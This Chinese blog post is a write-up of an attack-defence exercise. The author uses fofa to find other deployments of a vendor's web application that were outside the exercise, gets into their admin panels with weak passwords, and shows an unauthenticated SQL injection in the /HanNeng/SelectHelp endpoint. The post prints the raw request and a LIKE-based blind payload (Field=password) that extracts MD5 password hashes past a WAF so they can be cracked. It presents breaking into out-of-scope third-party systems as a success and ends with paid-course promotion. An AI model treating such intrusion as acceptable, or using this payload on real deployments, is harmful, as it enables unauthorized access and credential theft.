在参加某市攻防演练的时候,发现目标站,经过一系列尝试,包括弱口令、SQL注入等等尝试后,未获得到有效的入口点。在准备放弃之时,看到页脚的banner:xxxxx信息科技有限公司 [!...
在参加某市攻防演练的时候,发现目标站,经过一系列尝试,包括弱口令、SQL注入等等尝试后,未获得到有效的入口点。在准备放弃之时,看到页脚的banner:xxxxx信息科技有限公司
然后有了个想法,到fofa里面搜这个banner,找到一些其他使用该站的,但是没有参与攻防演练的(PS:演练前该单位做过整改弱口令全改了)。
经过尝试,果然皇天不负有心人,进入到了其他厂商的后台,于是开始寻找未授权就能访问的接口或者RCE点,脱代码来审计,从而获取目标权限。
找了一圈,后台没有直接RCE的点,无法脱代码来审计,但是发现了一个有趣的点:
此处查找联系人的接口,存在未授权访问,数据包为:
POST /HanNeng/Selec
tHelp HTTP/1.1
Content-Length: 29
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=vd11thy3qnmgz0h4dtyb51ra; rem=1192
Connection: closeType=User&Field=UserName&Con=
经过测试发现该处不仅存在未授权访问,Field参数还存在注入。
直接给出部分sql语句:
select count(*) from tb_User where IsDeleted!=1 and Password'
测试过程中发现field是列名,证明如下:
当我认为可以sqlmap一把梭的时候,却发现了这该死的waf:
尝试绕过waf:
发现like附近语法错误,这时候想起来根据其他搜索方式,比如工号搜索的时候,应该是模糊匹配的:
发现Con参数的内容应该是进行了模糊匹配,也就是说sql语句可能是:
select count(*) from tb_User where IsDeleted!=1 and userid like '%可控点2%';
可控点2不存在注入,可控点1存在注入但是有waf,这时候就想到一个特别好玩的方法,我把field传入个password是否能获取到password密文呢?
然而并没有,所以呢,猜测此处是这样一个逻辑:
先执行sql语句,确定用户数量:
select count(*) from tb_User where IsDeleted!=1 and userid like '%可控点2%';
然后再执行sql语句筛选用户信息,工号和姓名:
select username,userid from tb_User where IsDel
eted!=1 and userid like '%可控点2%';
所以肯定不可能直接把密码传出的,那么就没得搞了么?要么绕过waf,要么还能。。。
select count(*) from tb_User where IsDeleted!=1 and password like '%可控点2%';
这样我只需要构造payload:Type=User&Field=password&Con={遍历}
就可以一位一位注入密码了,比如:
用户pageCount数量一直在减少,密码相同的用户一直在减少,但是这里要说明一个点,因为是%可控点%,所以123的前后都有可能有数据,当时我犯了这个错误,导致注入出的md5不全。注入出md5证明如下:
自此就可以和waf和平共存,你防你的大注入,我搞你的小密码。获取完整md5后解密即可登录后台。
如果你是一个长期主义者,欢迎加入我的知识星球(优先查看这个链接,里面可能还有优惠券),我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品
https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374
技术交流请加笔者微信:richardo1o1 (暗号:growing)